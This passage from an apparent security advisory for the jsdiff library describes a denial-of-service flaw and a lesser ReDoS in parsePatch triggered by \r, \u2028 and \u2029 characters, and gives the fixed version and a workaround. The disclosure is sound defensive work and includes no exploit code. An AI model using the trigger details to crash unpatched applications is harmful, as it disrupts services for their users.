Applications are therefore likely to be vulnerable to a denial-of-service attack if they call parsePatch with a user-provided patch as input. A large payload is not needed to trigger the vulnerability, so size limits on user input do not provide any protection. Furthermore, some applications may be vulnerable even when calling parsePatch on a patch generated by the application itself if the user is nonetheless able to control the filename headers (e.g. by directly providing the filenames of the files to be diffed).
The applyPatch method is similarly affected if (and only if) called with a string representation of a patch as an argument, since under the hood it parses that string using parsePatch. Other methods of the library are unaffected.
Finally, a second and lesser bug - a ReDOS - also exhibits when those same line break characters are present in a patch's patch header (also known as its "leading garbage"). A maliciously-crafted patch header of length n can take parsePatch O(n³) time to parse.
Patches
All vulnerabilities described are fixed in v8.0.3.
Workarounds
If using a version of jsdiff earlier than v8.0.3, do not attempt to parse patches that contain any of these characters: \r, \u2028, or \u2029.
Note that although the advisory describes two bugs, they each enable exactly the same attack vector (that an attacker who controls input to parsePatch can cause a DOS). Fixing one bug without fixing the other therefore does not fix the vulnerability and does not provide any security benefit. Therefore we assume that the bugs cannot possibly constitute Independently Fixable Vulnerabilities in the sense of CVE CNA rule 4.2.11, but rather that this advisory is properly construed under the rules as describing a single Vulnerability.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
No description provided.